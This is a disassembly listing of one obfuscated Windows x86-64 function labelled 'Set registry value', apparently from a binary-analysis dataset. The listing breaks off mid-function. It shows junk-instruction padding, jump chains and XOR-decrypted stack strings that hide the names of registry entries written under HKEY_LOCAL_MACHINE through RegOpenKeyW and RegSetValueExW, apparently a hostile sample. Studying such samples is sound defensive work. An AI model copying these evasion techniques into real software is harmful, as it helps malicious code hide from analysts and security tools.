Function at 0x1403fae1e
Capabilities:
Set registry value

Disassembly:
push r15
btr r15w, 0xcf
sbb r15b, 0x33
movzx r15d, r10w
push r14
cmovge eax, ebp
stc
push r13
push r12
and r12b, dil
jmp 0x1403fae46
push rsi
test eax, 0x3f10623e
push rdi
cmovnp r13d, ebp
btc r14w, cx
push rbp
push rbx
bswap r13w
bsr r13d, ebx
sub rsp, 0x2f8
movzx r12d, r10w
jmp 0x1403fae73
movabs rax, 0xe009ec3224c8fd6e
mov qword [rsp + 0x2e0], rax
not bx
movsx esi, dx
mov bl, spl
mov qword [rsp + 0x40], rax
cbw
cwde
xchg r12w, bx
movabs rax, 0x2204bcb80ebea5a3
movzx r13, di
mov qword [rsp + 0x2d8], rax
mov qword [rsp + 0x48], rax
movsxd rbp, esp
cbw
movzx bp, bl
movabs rax, 0xfbc9f38de01f2fa2
mov r14b, dl
mov qword [rsp + 0x2d0], rax
jmp 0x1403faee2
mov qword [rsp + 0x50], rax
xchg r13b, al
movzx r14d, cx
cdqe
movabs rax, 0x17a75ff95317a686
sete r15b
movsxd rsi, r8d
mov qword [rsp + 0x2c8], rax
not r12
xchg r15w, r14w
mov qword [rsp + 0x58], rax
movabs rax, 0xfd99d5578f55fa6f
bswap r14
mov qword [rsp + 0x2c0], rax
not r13w
movsx rbx, r15w
mov qword [rsp + 0x60], rax
movsx ebx, bp
movabs rax, 0x4b3964fdcd447246
movzx esi, r9w
mov qword [rsp + 0x2b8], rax
movsx ebp, cx
movsx r13w, sil
mov qword [rsp + 0x68], rax
movabs rax, 0xee88324679eb2227
bswap rbx
movsx r15d, cx
cmovnp r14d, ebx
mov qword [rsp + 0x2b0], rax
movsx rbp, ax
mov qword [rsp + 0x70], rax
movabs rax, 0x6d7346ad6d4ffefa
not dil
mov qword [rsp + 0x2a8], rax
movzx r15w, bl
mov qword [rsp + 0x78], rax
movsx r14w, r10b
movabs rax, 0xd093683aef376a76
xchg r15d, r15d
not r12d
setbe r12b
mov qword [rsp + 0x2a0], rax
setns r12b
mov bp, 0x6611
mov qword [rsp + 0x80], rax
movabs rax, 0xa80f93e9d32b8c6f
movzx r15d, si
mov qword [rsp + 0x298], rax
mov qword [rsp + 0x88], rax
movsx r12w, r15b
jmp 0x1403faffd
movabs rax, 0x33e730243394033e
jmp 0x1403fb014
mov qword [rsp + 0x290], rax
setns r14b
mov qword [rsp + 0x90], rax
movabs rax, 0xe7e3977e114e6703
mov qword [rsp + 0x288], rax
movzx rbp, r8w
mov qword [rsp + 0x98], rax
cwde
movabs rax, 0xb0b65ec58a603c8
jmp 0x1403fb05a
mov qword [rsp + 0x280], rax
movsxd rsi, r13d
mov qword [rsp + 0xa0], rax
mov rsi, r9
movabs rax, 0x6708be65ca8156d7
setle r14b
movsx rsi, r11w
jmp 0x1403fb087
mov qword [rsp + 0x278], rax
mov qword [rsp + 0xa8], rax
not bpl
bswap rdi
movabs rax, 0x46a7044da5524090
movzx r13, dx
mov rsi, 0x26920ed7
mov qword [rsp + 0x270], rax
cmovle esi, esp
mov qword [rsp + 0xb0], rax
movsxd r14, ebp
movabs rax, 0x4b8cb541ca050f46
xchg r14, r13
bswap rdi
seta sil
mov qword [rsp + 0x268], rax
mov ebx, 0x67d476d9
mov qword [rsp + 0xb8], rax
movzx rdi, r12w
movzx r14w, dil
movsx rax, r10w
movabs rax, 0xe627ab41184af921
mov qword [rsp + 0x260], rax
cmovo r14w, r10w
movzx r13, r11w
movsx rbx, r15w
mov qword [rsp + 0xc0], rax
movabs rax, 0x34c77b6e31b9a
jmp 0x1403fb137
mov qword [rsp + 0x258], rax
setne r15b
cmovae r13w, bp
movzx rbp, cx
mov qword [rsp + 0xc8], rax
movzx r14w, spl
bswap ax
movsxd rbp, r9d
movabs rax, 0xd8cf4ec0049852bb
xchg bpl, bpl
mov qword [rsp + 0xd0], rax
movzx bx, r10b
cmovnp r15w, r13w
mov r12b, 0x3d
movabs rax, 0xa5eac9844f8ea419
movsx esi, r8w
movzx bx, sil
mov qword [rsp + 0xd8], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x3c], 0
movsxd rbx, r13d
lahf
movabs rbp, 0x2eb490333e21dae3
movsx r14d, bx
mov qword [rsp + 0xe0], rbp
movabs r14, 0x28903e48668cb956
cbw
mov qword [rsp + 0xe8], r14
movabs r15, 0xe05dec612491fd3d
cbw
movsx di, r15b
mov r12d, 0xec20c8b
mov qword [rsp + 0x100], r15
jmp 0x1403fb202
movabs r12, 0x2247bce40ef3a5e6
setbe r13b
mov bh, 0x70
xchg ebx, esi
mov qword [rsp + 0x108], r12
setae ah
movzx rsi, cx
movabs rsi, 0xfbacf3ffe06d2fd7
mov r13w, 0x21c0
lahf
cmovb r13, r12
mov qword [rsp + 0x110], rsi
movsxd rax, r9d
movabs rdi, 0x17c85fba5363a6e8
seta r13b
movsx bx, sil
mov qword [rsp + 0x118], rdi
cdqe
mov r13w, r12w
movabs rax, 0xfdf6d5258f21fa01
bswap rbx
mov qword [rsp + 0x120], rax
mov r13b, 0xef
cmovg bx, r8w
movsxd rbx, r14d
mov rbx, rax
cbw
movsx ax, dh
mov eax, 0x87e25e8
movabs rax, 0x4b4d6498cd17722a
mov qword [rsp + 0x2f0], rax
mov qword [rsp + 0x128], rax
cdqe
movsxd rax, ecx
movsx r13, ax
movabs rax, 0xeefa322379b8227b
movsx r13, r12w
movzx r13w, r9b
bswap r13
mov qword [rsp + 0x250], rax
movsx r13d, bx
xchg r13w, r13w
movzx r13, r11w
mov qword [rsp + 0x130], rax
movabs rax, 0x6d1646ce6d26fe8c
mov r13b, r11b
mov qword [rsp + 0x248], rax
xchg r13, r13
mov qword [rsp + 0x138], rax
movsx r13w, r12b
lahf
movabs rax, 0xd0fb6869ef6b6a05
not r13w
movsx r13d, bx
mov qword [rsp + 0x240], rax
jmp 0x1403fb32c
mov qword [rsp + 0x140], rax
cwde
mov rax, 0x6aac4b1f
movabs rax, 0xa86b938cd3598c0e
setne r13b
movzx r13w, dl
mov qword [rsp + 0x238], rax
movzx r13d, di
mov r13, r9
setb r13b
mov qword [rsp + 0x148], rax
not r13b
cwde
movabs rax, 0x3382304733f7037f
movzx r13w, dil
mov qword [rsp + 0x230], rax
mov qword [rsp + 0x150], rax
movabs rax, 0xe7b39722113d6770
movsx r13w, r8b
movzx r13d, r13w
mov qword [rsp + 0x228], rax
movsx r13d, bx
mov qword [rsp + 0x158], rax
mov r13b, r9b
movabs rax, 0xb66658d58d403a9
mov r13b, 0x95
movsx r13d, r13w
movzx r13d, r11w
mov qword [rsp + 0x220], rax
mov r13w, 0x4c65
mov qword [rsp + 0x160], rax
movsx r13, r12w
cwde
movsx eax, r12w
movabs rax, 0x677abe00caf556b2
mov r13w, 0x2a4a
mov qword [rsp + 0x218], rax
movsx r13w, sil
mov qword [rsp + 0x168], rax
movabs rax, 0x46ce040ba50e40e3
xchg r13w, r13w
movsx r13d, ax
mov qword [rsp + 0x210], rax
movzx r13w, r12b
mov r13b, r15b
xchg r13, r13
mov qword [rsp + 0x170], rax
cmova eax, ebp
movabs rax, 0x4bedb536ca600f34
movzx r13, di
mov qword [rsp + 0x208], rax
movsx r13d, r13w
mov qword [rsp + 0x178], rax
mov ax, ax
cwde
movabs rax, 0xe648ab111826f94d
movzx r13, bx
not r13w
movzx r13w, bpl
mov qword [rsp + 0x200], rax
bswap r13
mov qword [rsp + 0x180], rax
movabs rax, 0x7a4c14b68a1bf6
sets r13b
mov qword [rsp + 0x1f8], rax
jmp 0x1403fb4b1
mov qword [rsp + 0x188], rax
movzx r13w, cl
movabs rax, 0xd8a24eaf04dc52e7
not r13b
mov qword [rsp + 0x1f0], rax
cmovo r13, rcx
movzx r13w, r13b
mov qword [rsp + 0x190], rax
sets r13b
movabs rax, 0xa5bac9ea4fe7a478
jmp 0x1403fb4ff
mov qword [rsp + 0x1e8], rax
movsx r13d, cx
setg r13b
mov qword [rsp + 0x198], rax
movsx ax, ch
cdqe
movabs rax, 0x2edd90553e4eda91
movsx r13, r8w
movzx r13, dx
setnp r13b
mov qword [rsp + 0x1e0], rax
jmp 0x1403fb544
mov qword [rsp + 0x1a0], rax
bswap r13d
movabs rax, 0x28903e4866e9b93a
movzx r13w, r14b
not r13b
jmp 0x1403fb566
mov qword [rsp + 0x1d8], rax
movsx r13w, spl
xchg r13b, r13b
mov qword [rsp + 0x1a8], rax
mov al, 0xb8
cmovp r13d, r15d
lea r13, [rsp + 0x100]
cmovnp eax, edi
not al
mov rax, r13
jmp 0x1403fb599
movaps xmm0, xmmword [rsp + 0x40]
jmp 0x1403fb5a3
xorps xmm0, xmmword [rax]
movaps xmmword [rsp + 0x40], xmm0
movaps xmm0, xmmword [rsp + 0x50]
jmp 0x1403fb5b5
xorps xmm0, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x50], xmm0
jmp 0x1403fb5c3
movaps xmm0, xmmword [rsp + 0x60]
jmp 0x1403fb5cd
xorps xmm0, xmmword [rax + 0x20]
movaps xmmword [rsp + 0x60], xmm0
jmp 0x1403fb5db
movaps xmm0, xmmword [rsp + 0x70]
xorps xmm0, xmmword [rax + 0x30]
movaps xmmword [rsp + 0x70], xmm0
movaps xmm0, xmmword [rsp + 0x80]
jmp 0x1403fb5f6
xorps xmm0, xmmword [rax + 0x40]
movaps xmmword [rsp + 0x80], xmm0
jmp 0x1403fb607
movaps xmm0, xmmword [rsp + 0x90]
jmp 0x1403fb614
xorps xmm0, xmmword [rax + 0x50]
movaps xmmword [rsp + 0x90], xmm0
jmp 0x1403fb625
movaps xmm0, xmmword [rsp + 0xa0]
xorps xmm0, xmmword [rax + 0x60]
movaps xmmword [rsp + 0xa0], xmm0
jmp 0x1403fb63e
movaps xmm0, xmmword [rsp + 0xb0]
jmp 0x1403fb64b
xorps xmm0, xmmword [rax + 0x70]
movaps xmmword [rsp + 0xb0], xmm0
jmp 0x1403fb65c
movaps xmm0, xmmword [rsp + 0xc0]
jmp 0x1403fb669
xorps xmm0, xmmword [rax + 0x80]
movaps xmmword [rsp + 0xc0], xmm0
jmp 0x1403fb67d
movaps xmm0, xmmword [rsp + 0xd0]
jmp 0x1403fb68a
xorps xmm0, xmmword [rax + 0x90]
movaps xmmword [rsp + 0xd0], xmm0
jmp 0x1403fb69e
movaps xmm0, xmmword [rsp + 0xe0]
jmp 0x1403fb6ab
xorps xmm0, xmmword [rax + 0xa0]
movaps xmmword [rsp + 0xe0], xmm0
lea rdx, [rsp + 0x40]
movzx cx, r9b
mov ecx, eax
setb r8b
lea r8, [rsp + 0x30]
not ecx
movzx rcx, r15w
movzx ecx, cx
mov rcx, 0xffffffff80000002
jmp 0x1403fb6e4
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
movabs rax, 0xe03fec0024fffd78
jmp 0x1403fb6f9
mov qword [rsp + 0x1d0], rax
jmp 0x1403fb706
mov qword [rsp + 0x40], rax
movsx rax, si
movabs rax, 0x222ebca20e96a58a
jmp 0x1403fb71e
mov qword [rsp + 0x1c8], rax
mov qword [rsp + 0x48], rax
cwde
movabs rax, 0xfbcdf388e0082fa5
jmp 0x1403fb73b
mov qword [rsp + 0x2e8], rax
jmp 0x1403fb748
mov qword [rsp + 0x50], rax
nop
movabs rax, 0x17c85fba530fa684
jmp 0x1403fb75e
mov qword [rsp + 0x1c0], rax
jmp 0x1403fb76b
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x100], r15
cwde
movzx rax, r14w
mov qword [rsp + 0x108], r12
mov qword [rsp + 0x110], rsi
setbe al
movsx ax, bh
lahf
mov qword [rsp + 0x118], rdi
lahf
cwde
mov rax, r13
jmp 0x1403fb7a7
movaps xmm0, xmmword [rsp + 0x40]
jmp 0x1403fb7b1
xorps xmm0, xmmword [rax]
movaps xmmword [rsp + 0x40], xmm0
jmp 0x1403fb7be
movaps xmm0, xmmword [rsp + 0x50]
xorps xmm0, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x50], xmm0
mov rcx, qword [rsp + 0x30]
ror ah, 0x85
cdqe
rol rax, 0xed
lea rax, [rsp + 0x3c]
mov qword [rsp + 0x20], rax
ror r9b, 0x6d
mov edx, 0x6d5f027e
clc
mov dword [rsp + 0x28], 4
adc r9w, 0x57d2
shrd rdx, r11, 0x2e
lea rdx, [rsp + 0x40]
rol r9d, cl
movsx r9, r8w
sub r8d, r8d
mov r9d, 4
jmp 0x1403fb81b
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x30]
jmp 0x1403fb82b
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rax, qword [rsp + 0x2e0]
jmp 0x1403fb83e
mov qword [rsp + 0x40], rax
movsx rax, r9w
mov rax, qword [rsp + 0x2d8]
jmp 0x1403fb854
mov qword [rsp + 0x48], rax
cmovle eax, r14d
cbw
movsx eax, r13w
mov rax, qword [rsp + 0x2d0]
jmp 0x1403fb870
mov qword [rsp + 0x50], rax
movsx ax, bpl
movsx eax, r9w
movzx ax, r14b
mov rax, qword [rsp + 0x2c8]
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x2c0]
jmp 0x1403fb89d
mov qword [rsp + 0x60], rax
bswap ax
xchg ah, al
mov rax, qword [rsp + 0x2b8]
jmp 0x1403fb8b4
mov qword [rsp + 0x68], rax
movsx eax, sp
movsxd rax, r15d
mov rax, qword [rsp + 0x2b0]
jmp 0x1403fb8cc
mov qword [rsp + 0x70], rax
seto al
movzx rax, r14w
cbw
mov rax, qword [rsp + 0x2a8]
jmp 0x1403fb8e7
mov qword [rsp + 0x78], rax
cdqe
setl ah
movsx eax, bx
mov rax, qword [rsp + 0x2a0]
mov qword [rsp + 0x80], rax
mov rax, qword [rsp + 0x298]
jmp 0x1403fb911
mov qword [rsp + 0x88], rax
jmp 0x1403fb921
mov rax, qword [rsp + 0x290]
jmp 0x1403fb92e
mov qword [rsp + 0x90], rax
not al
mov rax, qword [rsp + 0x288]
jmp 0x1403fb945
mov qword [rsp + 0x98], rax
cmove ax, ax
not ah
mov rax, qword [rsp + 0x280]
jmp 0x1403fb960
mov qword [rsp + 0xa0], rax
mov rax, qword [rsp + 0x278]
jmp 0x1403fb975
mov qword [rsp + 0xa8], rax
mov rax, qword [rsp + 0x270]
jmp 0x1403fb98a
mov qword [rsp + 0xb0], rax
mov rax, qword [rsp + 0x268]
jmp 0x1403fb99f
mov qword [rsp + 0xb8], rax
cwde
movzx ax, r8b
mov rax, qword [rsp + 0x260]
jmp 0x1403fb9ba
mov qword [rsp + 0xc0], rax
cmovnp eax, r10d
movsx ax, al
movzx eax, cx
mov rax, qword [rsp + 0x258]
jmp 0x1403fb9da
mov qword [rsp + 0xc8], rax
movsx rax, cx
bswap ax
movabs rax, 0xd8c04eda048c52bb
jmp 0x1403fb9f8
mov qword [rsp + 0xd0], rax
movsx eax, ax
movabs rax, 0xa5eac9894f8ea414
mov qword [rsp + 0xd8], rax
mov ah, 0xfd
mov qword [rsp + 0xe0], rbp
mov qword [rsp + 0xe8], r14
not ax
mov qword [rsp + 0x100], r15
mov qword [rsp + 0x108], r12
mov qword [rsp + 0x110], rsi
mov qword [rsp + 0x118], rdi
not ax
movzx r14, sp
xchg r14b, bpl
mov rbp, rbx
cwde
xchg r14b, r14b
mov qword [rsp + 0x120], rbx
jmp 0x1403fba71
mov r14, qword [rsp + 0x2f0]
movsx eax, r8w
jmp 0x1403fba82
mov qword [rsp + 0x128], r14
movsx eax, ax
movzx eax, ax
mov al, 0xbf
mov rax, qword [rsp + 0x250]
jmp 0x1403fba9f
mov qword [rsp + 0x130], rax
movzx eax, sp
mov rax, qword [rsp + 0x248]
jmp 0x1403fbab7
mov qword [rsp + 0x138], rax
cwde
mov rax, qword [rsp + 0x240]
jmp 0x1403fbacd
mov qword [rsp + 0x140], rax
mov rax, qword [rsp + 0x238]
jmp 0x1403fbae2
mov qword [rsp + 0x148], rax
xchg al, al
mov rax, qword [rsp + 0x230]
jmp 0x1403fbaf9
mov qword [rsp + 0x150], rax
movzx ax, dil
nop
mov rax, qword [rsp + 0x228]
mov qword [rsp + 0x158], rax
movzx ax, sil
movsx eax, bp
not ax
mov rax, qword [rsp + 0x220]
jmp 0x1403fbb30
mov qword [rsp + 0x160], rax
mov rax, qword [rsp + 0x218]
jmp 0x1403fbb45
mov qword [rsp + 0x168], rax
mov ah, 0x73
lahf
mov rax, qword [rsp + 0x210]
jmp 0x1403fbb5e
mov qword [rsp + 0x170], rax
mov rax, qword [rsp + 0x208]
jmp 0x1403fbb73
mov qword [rsp + 0x178], rax
movsx eax, bp
nop
cwde
mov rax, qword [rsp + 0x200]
jmp 0x1403fbb8e
mov qword [rsp + 0x180], rax
movzx eax, ax
mov rax, qword [rsp + 0x1f8]
jmp 0x1403fbba6
mov qword [rsp + 0x188], rax
movzx eax, ax
mov rax, qword [rsp + 0x1f0]
jmp 0x1403fbbbe
mov qword [rsp + 0x190], rax
movzx ax, r11b
mov rax, qword [rsp + 0x1e8]
jmp 0x1403fbbd8
mov qword [rsp + 0x198], rax
mov rax, qword [rsp + 0x1e0]
jmp 0x1403fbbed
mov qword [rsp + 0x1a0], rax
cmovo rax, rdi
mov rax, qword [rsp + 0x1d8]
mov qword [rsp + 0x1a8], rax
cbw
movsx rax, si
mov rax, r13
jmp 0x1403fbc17
movaps xmm0, xmmword [rsp + 0x40]
jmp 0x1403fbc21
movaps xmm1, xmmword [rsp + 0x50]
jmp 0x1403fbc2b
movaps xmm2, xmmword [rsp + 0x60]
xorps xmm0, xmmword [rax]
movaps xmm3, xmmword [rsp + 0x70]
movaps xmmword [rsp + 0x40], xmm0
jmp 0x1403fbc42
xorps xmm1, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x50], xmm1
xorps xmm2, xmmword [rax + 0x20]
movaps xmmword [rsp + 0x60], xmm2
jmp 0x1403fbc59
xorps xmm3, xmmword [rax + 0x30]
movaps xmmword [rsp + 0x70], xmm3
jmp 0x1403fbc67
movaps xmm0, xmmword [rsp + 0x80]
jmp 0x1403fbc74
xorps xmm0, xmmword [rax + 0x40]
movaps xmmword [rsp + 0x80], xmm0
jmp 0x1403fbc85
movaps xmm0, xmmword [rsp + 0x90]
jmp 0x1403fbc92
xorps xmm0, xmmword [rax + 0x50]
movaps xmmword [rsp + 0x90], xmm0
movaps xmm0, xmmword [rsp + 0xa0]
jmp 0x1403fbcab
xorps xmm0, xmmword [rax + 0x60]
movaps xmmword [rsp + 0xa0], xmm0
jmp 0x1403fbcbc
movaps xmm0, xmmword [rsp + 0xb0]
xorps xmm0, xmmword [rax + 0x70]
movaps xmmword [rsp + 0xb0], xmm0
jmp 0x1403fbcd5
movaps xmm0, xmmword [rsp + 0xc0]
jmp 0x1403fbce2
xorps xmm0, xmmword [rax + 0x80]
movaps xmmword [rsp + 0xc0], xmm0
movaps xmm0, xmmword [rsp + 0xd0]
jmp 0x1403fbcfe
xorps xmm0, xmmword [rax + 0x90]
movaps xmmword [rsp + 0xd0], xmm0
jmp 0x1403fbd12
movaps xmm0, xmmword [rsp + 0xe0]
jmp 0x1403fbd1f
xorps xmm0, xmmword [rax + 0xa0]
movaps xmmword [rsp + 0xe0], xmm0
not r8b
lea rdx, [rsp + 0x40]
movzx r8d, r11w
mov rcx, 0xffffffff80000002
bswap r8w
setge r8b
lea r8, [rsp + 0x30]
jmp 0x1403fbd53
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
mov rax, qword [rsp + 0x1d0]
bswap ebx
xchg bx, bx
mov qword [rsp + 0x40], rax
movzx eax, r10w
cmovl rbx, rax
mov rax, qword [rsp + 0x1c8]
movzx rbx, si
mov qword [rsp + 0x48], rax
lahf
xchg al, bl
cmovns ax, si
mov rbx, qword [rsp + 0x2e8]
movsx ax, bl
movzx eax, r8w
mov qword [rsp + 0x50], rbx
movsxd rax, r10d
mov ax, r8w
cwde
mov rax, qword [rsp + 0x1c0]
jmp 0x1403fbdb5
mov qword [rsp + 0x58], rax
jmp 0x1403fbdc5
mov qword [rsp + 0x100], r15
lahf
movzx ax, bl
mov qword [rsp + 0x108], r12
mov qword [rsp + 0x110], rsi
lahf
bswap rax
mov qword [rsp + 0x118], rdi
bswap ax
nop
movsxd rax, ebp
mov rax, r13
jmp 0x1403fbdfe
movaps xmm0, xmmword [rsp + 0x40]
jmp 0x1403fbe08
xorps xmm0, xmmword [rax]
movaps xmmword [rsp + 0x40], xmm0
movaps xmm0, xmmword [rsp + 0x50]
jmp 0x1403fbe1a
xorps xmm0, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x50], xmm0
mov rcx, qword [rsp + 0x30]
shld r9w, r11w, 0xb3
btr edx, r14d
xor r9w, r9w
lea rax, [rsp + 0x3c]
neg r9b
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x28], 4
movzx dx, r14b
add dl, sil
cqo
lea rdx, [rsp + 0x40]
cmp sp, sp
dec r9w
sub r8d, r8d
movzx r9, ax
xchg r9, r9
movsxd r9, r14d
mov r9d, 4
jmp 0x1403fbe79
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x30]
jmp 0x1403fbe89
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rax, qword [rsp + 0x2e0]
jmp 0x1403fbe9c
mov qword [rsp + 0x40], rax
bswap rax
mov rax, qword [rsp + 0x2d8]
mov qword [rsp + 0x48], rax
cbw
mov rax, qword [rsp + 0x2d0]
jmp 0x1403fbec0
mov qword [rsp + 0x50], rax
bswap rax
mov rax, qword [rsp + 0x2c8]
mov qword [rsp + 0x58], rax
jmp 0x1403fbeda
mov rax, qword [rsp + 0x2c0]
jmp 0x1403fbee7
mov qword [rsp + 0x60], rax
movsx rax, dx
mov rax, qword [rsp + 0x2b8]
mov qword [rsp + 0x68], rax
cwde
movsx rax, r9w
cbw
mov rax, qword [rsp + 0x2b0]
jmp 0x1403fbf11
mov qword [rsp + 0x70], rax
movsx rax, r10w
mov rax, rax
mov rax, qword [rsp + 0x2a8]
jmp 0x1403fbf2a
mov qword [rsp + 0x78], rax
cwde
mov rax, qword [rsp + 0x2a0]
jmp 0x1403fbf3d
mov qword [rsp + 0x80], rax
mov rax, qword [rsp + 0x298]
jmp 0x1403fbf52
mov qword [rsp + 0x88], rax
movzx ax, ah
not al
mov rax, qword [rsp + 0x290]
jmp 0x1403fbf6d
mov qword [rsp + 0x90], rax
movsx eax, dx
mov rax, qword [rsp + 0x288]
jmp 0x1403fbf85
mov qword [rsp + 0x98], rax
mov rax, qword [rsp + 0x280]
jmp 0x1403fbf9a
mov qword [rsp + 0xa0], rax
xchg al, ah
mov rax, qword [rsp + 0x278]
jmp 0x1403fbfb1
mov qword [rsp + 0xa8], rax
mov rax, qword [rsp + 0x270]
mov qword [rsp + 0xb0], rax
cmovno ax, r11w
mov rax, qword [rsp + 0x268]
jmp 0x1403fbfdb
mov qword [rsp + 0xb8], rax
setge al
movzx rax, sp
xchg ah, al
mov rax, qword [rsp + 0x260]
jmp 0x1403fbff9
mov qword [rsp + 0xc0], rax
movsxd rax, eax
movsx ax, r13b
cwde
mov rax, qword [rsp + 0x258]
jmp 0x1403fc017
mov qword [rsp + 0xc8], rax
movsx eax, r11w
movabs rax, 0xd8c34edb048f52bb
jmp 0x1403fc032
mov qword [rsp + 0xd0], rax
cwde
bswap rax
movabs rax, 0xa5c8c98b4f83a416
jmp 0x1403fc04d
mov qword [rsp + 0xd8], rax
setg ah
cwde
movabs rax, 0x2eb290273e1edaf5
jmp 0x1403fc068
mov qword [rsp + 0xe0], rax
movsx rax, r8w
setge ah
movabs rax, 0x28f53e246680b95c
jmp 0x1403fc086
mov qword [rsp + 0xe8], rax
movzx eax, r15w
movzx rax, bp
mov qword [rsp + 0x100], r15
mov ax, 0x4889
movsx rax, si
mov qword [rsp + 0x108], r12
mov ax, bp
cbw
mov qword [rsp + 0x110], rsi
mov qword [rsp + 0x118], rdi
mov al, r8b
not al
cdqe
mov qword [rsp + 0x120], rbp
cdqe
movzx rax, di
lahf
mov qword [rsp + 0x128], r14
mov eax, 0x2249225c
mov rax, qword [rsp + 0x250]
mov qword [rsp + 0x130], rax
mov rax, qword [rsp + 0x248]
jmp 0x1403fc103
mov qword [rsp + 0x138], rax
jmp 0x1403fc110
mov rax, qword [rsp + 0x240]
mov qword [rsp + 0x140], rax
movzx eax, r11w
bswap eax
mov rax, 0x5e72478c
mov rax, qword [rsp + 0x238]
jmp 0x1403fc13a
mov qword [rsp + 0x148], rax
mov rax, qword [rsp + 0x230]
jmp 0x1403fc14f
mov qword [rsp + 0x150], rax
cdqe
bswap rax
xchg ah, al
mov rax, qword [rsp + 0x228]
jmp 0x1403fc16b
mov qword [rsp + 0x158], rax
movsxd rax, r14d
mov rax, qword [rsp + 0x220]
jmp 0x1403fc183
mov qword [rsp + 0x160], rax
movzx ax, bpl
setg ah
movsx rax, r13w
mov rax, qword [rsp + 0x218]
jmp 0x1403fc1a4